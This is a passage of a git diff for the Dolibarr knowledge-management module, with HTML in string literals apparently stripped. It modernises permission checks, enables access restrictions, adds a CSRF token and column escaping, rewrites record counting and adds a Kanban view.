      '; - $label .= ''.$langs->trans('Ref').': '.$this->ref; $url = dol_buildpath('/knowledgemanagement/knowledgerecord_card.php', 1).'?id='.$this->id; @@ -752,8 +803,8 @@ class KnowledgeRecord extends CommonObject $label = $langs->trans("ShowKnowledgeRecord"); $linkclose .= ' alt="'.dol_escape_htmltag($label, 1).'"'; } - $linkclose .= ' title="'.dol_escape_htmltag($label, 1).'"'; - $linkclose .= ' class="classfortooltip'.($morecss ? ' '.$morecss : '').'"'; + $linkclose .= ($label ? ' title="'.dol_escape_htmltag($label, 1).'"' : ' title="tocomplete"'); + $linkclose .= $dataparams.' class="'.$classfortooltip.($morecss ? ' '.$morecss : '').'"'; } else { $linkclose = ($morecss ? ' class="'.$morecss.'"' : ''); } @@ -774,7 +825,7 @@ class KnowledgeRecord extends CommonObject if (empty($this->showphoto_on_popup)) { if ($withpicto) { - $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : 'class="'.(($withpicto != 2) ? 'paddingright ' : '').'classfortooltip"'), 0, 0, $notooltip ? 0 : 1); + $result .= img_object(($notooltip ? '' : $label), ($this->picto ? $this->picto : 'generic'), ($notooltip ? (($withpicto != 2) ? 'class="paddingright"' : '') : $dataparams.' class="'.(($withpicto != 2) ? 'paddingright ' : '').$classfortooltip.'"'), 0, 0, $notooltip ? 0 : 1); } } else { if ($withpicto) { @@ -918,8 +969,8 @@ class KnowledgeRecord extends CommonObject $result = $objectline->fetchAll('ASC', 'position', 0, 0, array('customsql'=>'fk_knowledgerecord = '.((int) $this->id))); if (is_numeric($result)) { - $this->error = $this->error; - $this->errors = $this->errors; + $this->error = $objectline->error; + $this->errors = $objectline->errors; return $result; } else { $this->lines = $result; @@ -1058,14 +1109,51 @@ class KnowledgeRecord extends CommonObject * Adds it to non existing supplied categories. * Existing categories are left untouch. * - * @param int[]|int $categories Category or categories IDs - * @return void + * @param int[]|int $categories Category or categories IDs + * @return int <0 if KO, >0 if OK */ public function setCategories($categories) { require_once DOL_DOCUMENT_ROOT.'/categories/class/categorie.class.php'; return parent::setCategoriesCommon($categories, Categorie::TYPE_KNOWLEDGEMANAGEMENT); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'lang') && !empty($this->lang)) { + //$return .= '
      '.$langs->trans("Language").' : lang).'">'.$langs->trans("Language_".$this->lang, '', '', '', '', 12).''; + $return .= '
      '.picto_from_langcode($this->lang, 'class="paddingrightonly saturatemedium opacitylow paddingrightonly"'); + } + if (property_exists($this, 'question')) { + $return .= ''.dolGetFirstLineOfText($this->question).''; + } + if (method_exists($this, 'getLibStatut')) { + $return .= '
      '.$this->getLibStatut(3).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/knowledgemanagement/core/modules/knowledgemanagement/mod_knowledgerecord_advanced.php b/htdocs/knowledgemanagement/core/modules/knowledgemanagement/mod_knowledgerecord_advanced.php index ba0cf9818dc..fc22678a87a 100644 --- a/htdocs/knowledgemanagement/core/modules/knowledgemanagement/mod_knowledgerecord_advanced.php +++ b/htdocs/knowledgemanagement/core/modules/knowledgemanagement/mod_knowledgerecord_advanced.php @@ -54,7 +54,7 @@ class mod_knowledgerecord_advanced extends ModeleNumRefKnowledgeRecord /** * Returns the description of the numbering model * - * @return string Texte descripif + * @return string Descriptive text */ public function info() { @@ -68,7 +68,7 @@ class mod_knowledgerecord_advanced extends ModeleNumRefKnowledgeRecord $texte .= '
      '; $texte .= ''; $texte .= ''; - $texte .= ''; + $texte .= ''; $texte .= ''; $tooltip = $langs->trans("GenericMaskCodes", $langs->transnoentities("KnowledgeRecord"), $langs->transnoentities("KnowledgeRecord")); diff --git a/htdocs/knowledgemanagement/core/modules/knowledgemanagement/modules_knowledgerecord.php b/htdocs/knowledgemanagement/core/modules/knowledgemanagement/modules_knowledgerecord.php index edfe6beff62..8e19931fbdb 100644 --- a/htdocs/knowledgemanagement/core/modules/knowledgemanagement/modules_knowledgerecord.php +++ b/htdocs/knowledgemanagement/core/modules/knowledgemanagement/modules_knowledgerecord.php @@ -86,7 +86,7 @@ abstract class ModeleNumRefKnowledgeRecord /** * Returns the default description of the numbering template * - * @return string Texte descripif + * @return string Descriptive text */ public function info() { diff --git a/htdocs/knowledgemanagement/knowledgerecord_agenda.php b/htdocs/knowledgemanagement/knowledgerecord_agenda.php index 026e2fad51d..18ab83e1ff2 100644 --- a/htdocs/knowledgemanagement/knowledgerecord_agenda.php +++ b/htdocs/knowledgemanagement/knowledgerecord_agenda.php @@ -49,8 +49,9 @@ if (GETPOST('actioncode', 'array')) { $actioncode = '0'; } } else { - $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : (empty($conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT) ? '' : $conf->global->AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT)); + $actioncode = GETPOST("actioncode", "alpha", 3) ? GETPOST("actioncode", "alpha", 3) : (GETPOST("actioncode") == '0' ? '0' : getDolGlobalString('AGENDA_DEFAULT_FILTER_TYPE_FOR_OBJECT')); } +$search_rowid = GETPOST('search_rowid'); $search_agenda_label = GETPOST('search_agenda_label'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; @@ -87,9 +88,10 @@ if ($id > 0 || !empty($ref)) { // Security check - Protection if external user //if ($user->socid > 0) accessforbidden(); //if ($user->socid > 0) $socid = $user->socid; -//$result = restrictedArea($user, 'knowledgemanagement', $object->id); +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, $object->module, $object->id, $object->table_element, $object->element, '', 'rowid', $isdraft); -$permissiontoadd = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_addupdatedelete.inc.php +$permissiontoadd = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_addupdatedelete.inc.php /* @@ -210,7 +212,7 @@ if ($object->id > 0) { if (get_class($objthirdparty) == 'Societe') { $out .= '&socid='.urlencode($objthirdparty->id); } - $out .= (!empty($objcon->id) ? '&contactid='.urlencode($objcon->id) : '').'&percentage=-1'; + $out .= (!empty($objcon->id) ? '&contactid='.urlencode($objcon->id) : ''); //$out.=$langs->trans("AddAnAction").' '; //$out.=img_picto($langs->trans("AddAnAction"),'filenew'); //$out.=""; @@ -220,7 +222,7 @@ if ($object->id > 0) { print '
      '; if (isModEnabled('agenda')) { - if (!empty($user->rights->agenda->myactions->create) || !empty($user->rights->agenda->allactions->create)) { + if (!empty($user->rights->agenda->myactions->create) || $user->hasRight('agenda', 'allactions', 'create')) { print ''.$langs->trans("AddAction").''; } else { print ''.$langs->trans("AddAction").''; @@ -244,6 +246,7 @@ if ($object->id > 0) { // List of all actions $filters = array(); $filters['search_agenda_label'] = $search_agenda_label; + $filters['search_rowid'] = $search_rowid; // TODO Replace this with same code than into list.php show_actions_done($conf, $langs, $db, $object, null, 0, $actioncode, '', $filters, $sortfield, $sortorder, $object->module); diff --git a/htdocs/knowledgemanagement/knowledgerecord_card.php b/htdocs/knowledgemanagement/knowledgerecord_card.php index c28bc9e1c9c..495b095fb4d 100644 --- a/htdocs/knowledgemanagement/knowledgerecord_card.php +++ b/htdocs/knowledgemanagement/knowledgerecord_card.php @@ -74,19 +74,19 @@ if (empty($action) && empty($id) && empty($ref)) { include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once. -$permissiontoread = $user->rights->knowledgemanagement->knowledgerecord->read; -$permissiontovalidate = $user->rights->knowledgemanagement->knowledgerecord->write; -$permissiontoadd = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php -$permissiontodelete = $user->rights->knowledgemanagement->knowledgerecord->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); -$permissionnote = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_setnotes.inc.php -$permissiondellink = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_dellink.inc.php +$permissiontoread = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'read'); +$permissiontovalidate = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); +$permissiontoadd = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_lineupdown.inc.php +$permissiontodelete = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'delete') || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); +$permissionnote = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_setnotes.inc.php +$permissiondellink = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_dellink.inc.php $upload_dir = $conf->knowledgemanagement->multidir_output[isset($object->entity) ? $object->entity : 1]; // Security check - Protection if external user //if ($user->socid > 0) accessforbidden(); //if ($user->socid > 0) $socid = $user->socid; -//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); -//restrictedArea($user, $object->element, $object->id, '', '', 'fk_soc', 'rowid', $isdraft); +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, $object->module, $object->id, $object->table_element, $object->element, '', 'rowid', $isdraft); //if (empty($conf->knowledgemanagement->enabled)) accessforbidden(); //if (empty($permissiontoread)) accessforbidden(); @@ -393,7 +393,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea //if ($action != 'classify') $morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' '; $morehtmlref .= ' : '; if ($action == 'classify') { - //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + //$morehtmlref .= $form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 0, 1, '', 'maxwidth300'); $morehtmlref .= ''; $morehtmlref .= ''; $morehtmlref .= ''; @@ -401,7 +401,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1, '', 'maxwidth300'); } } else { if (!empty($object->fk_project)) { @@ -478,7 +478,7 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea // Back to draft if ($object->status == $object::STATUS_VALIDATED) { - print dolGetButtonAction('', $langs->trans('SetToDraft'), 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=confirm_setdraft&confirm=yes', '', $permissiontoadd); + print dolGetButtonAction('', $langs->trans('SetToDraft'), 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=confirm_setdraft&confirm=yes&token='.newToken(), '', $permissiontoadd); } if (($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) && $permissiontovalidate) { print dolGetButtonAction('', $langs->trans('Modify'), 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=edit&token='.newToken(), '', $permissiontoadd); @@ -538,8 +538,8 @@ if ($object->id > 0 && (empty($action) || ($action != 'edit' && $action != 'crea $relativepath = $objref.'/'.$objref.'.pdf'; $filedir = $conf->knowledgemanagement->dir_output.'/'.$object->element.'/'.$objref; $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; - $genallowed = $user->rights->knowledgemanagement->knowledgerecord->read; // If you can read, you can build the PDF to read content - $delallowed = $user->rights->knowledgemanagement->knowledgerecord->write; // If you can create/edit, you can remove a file on card + $genallowed = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'read'); // If you can read, you can build the PDF to read content + $delallowed = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // If you can create/edit, you can remove a file on card print $formfile->showdocuments('knowledgemanagement:KnowledgeRecord', $object->element.'/'.$objref, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 1, 0, 0, 28, 0, '', '', '', $langs->defaultlang); } diff --git a/htdocs/knowledgemanagement/knowledgerecord_contact.php b/htdocs/knowledgemanagement/knowledgerecord_contact.php index e1c77ab0d7b..751cdff5c9e 100644 --- a/htdocs/knowledgemanagement/knowledgerecord_contact.php +++ b/htdocs/knowledgemanagement/knowledgerecord_contact.php @@ -53,12 +53,14 @@ include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be includ // Security check - Protection if external user //if ($user->socid > 0) accessforbidden(); //if ($user->socid > 0) $socid = $user->socid; -//$result = restrictedArea($user, 'knowledgemanagement', $object->id); +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, $object->module, $object->id, $object->table_element, $object->element, '', 'rowid', $isdraft); + +$permission = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); -$permission = $user->rights->knowledgemanagement->knowledgerecord->write; /* - * Add a new contact + * Actions */ if ($action == 'addcontact' && $permission) { @@ -108,16 +110,10 @@ $contactstatic = new Contact($db); $userstatic = new User($db); -/* *************************************************************************** */ -/* */ -/* View and edit mode */ -/* */ -/* *************************************************************************** */ +// View and edit mode if ($object->id) { - /* - * Show tabs - */ + // Show tabs $head = knowledgerecordPrepareHead($object); print dol_get_fiche_head($head, 'contact', $langs->trans("KnowledgeRecord"), -1, $object->picto); diff --git a/htdocs/knowledgemanagement/knowledgerecord_document.php b/htdocs/knowledgemanagement/knowledgerecord_document.php index fff7ad68601..8d8fe6ac769 100644 --- a/htdocs/knowledgemanagement/knowledgerecord_document.php +++ b/htdocs/knowledgemanagement/knowledgerecord_document.php @@ -78,9 +78,10 @@ if ($id > 0 || !empty($ref)) { // Security check - Protection if external user //if ($user->socid > 0) accessforbidden(); //if ($user->socid > 0) $socid = $user->socid; -//$result = restrictedArea($user, 'knowledgemanagement', $object->id); +$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +restrictedArea($user, $object->module, $object->id, $object->table_element, $object->element, '', 'rowid', $isdraft); -$permissiontoadd = $user->rights->knowledgemanagement->knowledgerecord->write; // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles.inc.php +$permissiontoadd = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles.inc.php @@ -182,9 +183,9 @@ if ($object->id) { print dol_get_fiche_end(); $modulepart = 'knowledgemanagement'; - //$permission = $user->rights->knowledgemanagement->knowledgerecord->write; + //$permission = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); $permission = 1; - //$permtoedit = $user->rights->knowledgemanagement->knowledgerecord->write; + //$permtoedit = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); $permtoedit = 1; $param = '&id='.$object->id; diff --git a/htdocs/knowledgemanagement/knowledgerecord_list.php b/htdocs/knowledgemanagement/knowledgerecord_list.php index c8df2018ae7..2b1b67c82e2 100644 --- a/htdocs/knowledgemanagement/knowledgerecord_list.php +++ b/htdocs/knowledgemanagement/knowledgerecord_list.php @@ -68,8 +68,9 @@ $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 or if we click on clear filters +} $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; @@ -140,9 +141,9 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; $object->fields = dol_sort_array($object->fields, 'position'); $arrayfields = dol_sort_array($arrayfields, 'position'); -$permissiontoread = $user->rights->knowledgemanagement->knowledgerecord->read; -$permissiontoadd = $user->rights->knowledgemanagement->knowledgerecord->write; -$permissiontodelete = $user->rights->knowledgemanagement->knowledgerecord->delete; +$permissiontoread = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'read'); +$permissiontoadd = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write'); +$permissiontodelete = $user->hasRight('knowledgemanagement', 'knowledgerecord', 'delete'); // Security check if (empty($conf->knowledgemanagement->enabled)) { @@ -153,7 +154,7 @@ if ($user->socid > 0) { // Protection if external user //$socid = $user->socid; accessforbidden(); } -//$result = restrictedArea($user, 'knowledgemanagement'); +$result = restrictedArea($user, 'knowledgemanagement', 0, '', 'knowledgerecord'); //if (!$permissiontoread) accessforbidden(); @@ -240,10 +241,13 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { // Add fields from hooks $parameters = array(); $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; -if (!empty($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { +if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; } // Add table from hooks @@ -268,7 +272,7 @@ foreach ($search as $key => $val) { $mode_search = 2; } if ($search[$key] != '') { - $sql .= natural_search($key, $search[$key], (($key == 'status') ? 2 : $mode_search)); + $sql .= natural_search("t.".$db->escape($key), $search[$key], (($key == 'status') ? 2 : $mode_search)); } } else { if (preg_match('/(_dtstart|_dtend)$/', $key) && $search[$key] != '') { @@ -322,7 +326,7 @@ if ($search_all) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; /* If a group by is required @@ -344,10 +348,18 @@ $sql=preg_replace('/,\s*$/','', $sql); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller than the paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } @@ -397,12 +409,16 @@ if ($limit > 0 && $limit != $conf->liste_limit) { $param .= '&limit='.urlencode($limit); } foreach ($search as $key => $val) { - if (is_array($search[$key]) && count($search[$key])) { + if (is_array($search[$key])) { foreach ($search[$key] as $skey) { if ($skey != '') { $param .= '&search_'.$key.'[]='.urlencode($skey); } } + } elseif (preg_match('/(_dtstart|_dtend)$/', $key) && !empty($val)) { + $param .= '&search_'.$key.'month='.((int) GETPOST('search_'.$key.'month', 'int')); + $param .= '&search_'.$key.'day='.((int) GETPOST('search_'.$key.'day', 'int')); + $param .= '&search_'.$key.'year='.((int) GETPOST('search_'.$key.'year', 'int')); } elseif ($search[$key] != '') { $param .= '&search_'.$key.'='.urlencode($search[$key]); } @@ -424,14 +440,12 @@ $arrayofmassactions = array( //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), ); -if ($permissiontodelete) { - $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); -} - -if (isModEnabled('category') && $user->rights->knowledgemanagement->knowledgerecord->write) { +if (isModEnabled('category') && $user->hasRight('knowledgemanagement', 'knowledgerecord', 'write')) { $arrayofmassactions['preaffecttag'] = img_picto('', 'category', 'class="pictofixedwidth"').$langs->trans("AffectTag"); } - +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { $arrayofmassactions = array(); } @@ -446,9 +460,16 @@ print ''; print ''; print ''; +print ''; print ''; +print ''; +print ''; -$newcardbutton = dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', dol_buildpath('/knowledgemanagement/knowledgerecord_card.php', 1).'?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', dol_buildpath('/knowledgemanagement/knowledgerecord_card.php', 1).'?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'object_'.$object->picto, 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -465,7 +486,7 @@ if ($search_all) { $fieldstosearchall[$key] = $langs->trans($val); $setupstring .= $key."=".$val.";"; } - print ''."\n"; + print ''."\n"; print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; } @@ -487,7 +508,7 @@ if (isModEnabled('categorie') && $user->hasRight('categorie', 'lire')) { } $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook if (empty($reshook)) { $moreforfilter .= $hookmanager->resPrint; } else { @@ -497,11 +518,14 @@ if (empty($reshook)) { if (!empty($moreforfilter)) { print '
      '; print $moreforfilter; + $parameters = array('type'=>$type); + $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; print '
      '; } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table @@ -510,31 +534,30 @@ print '
      '; +print ''; // Action column -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { - print ''; } foreach ($object->fields as $key => $val) { $searchkey = empty($search[$key]) ? '' : $search[$key]; - $cssforfield = (empty($val['css']) ? '' : $val['css']); + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; @@ -576,8 +599,9 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; -if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); @@ -587,34 +611,33 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } $cssforfield = preg_replace('/small\s*/', '', $cssforfield); // the 'small' css must not be used for the title label if (!empty($arrayfields['t.'.$key]['checked'])) { - print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''))."\n"; + print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''), 0, (empty($val['helplist']) ? '' : $val['helplist']))."\n"; $totalarray['nbfield']++; } } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; } -$totalarray['nbfield']++; print ''."\n"; - // Detect if we need a fetch on each output line $needToFetchEachLine = 0; -if (!empty($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { +if (isset($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { foreach ($extrafields->attributes[$object->table_element]['computed'] as $key => $val) { - if (preg_match('/\$object/', $val)) { + if ($val && preg_match('/\$object/', $val)) { $needToFetchEachLine++; // There is at least one compute field that use $object } } @@ -625,6 +648,7 @@ if (!empty($extrafields->attributes[$object->table_element]['computed']) && is_a // -------------------------------------------------------------------- $i = 0; $savnbfield = $totalarray['nbfield']; +$totalarray 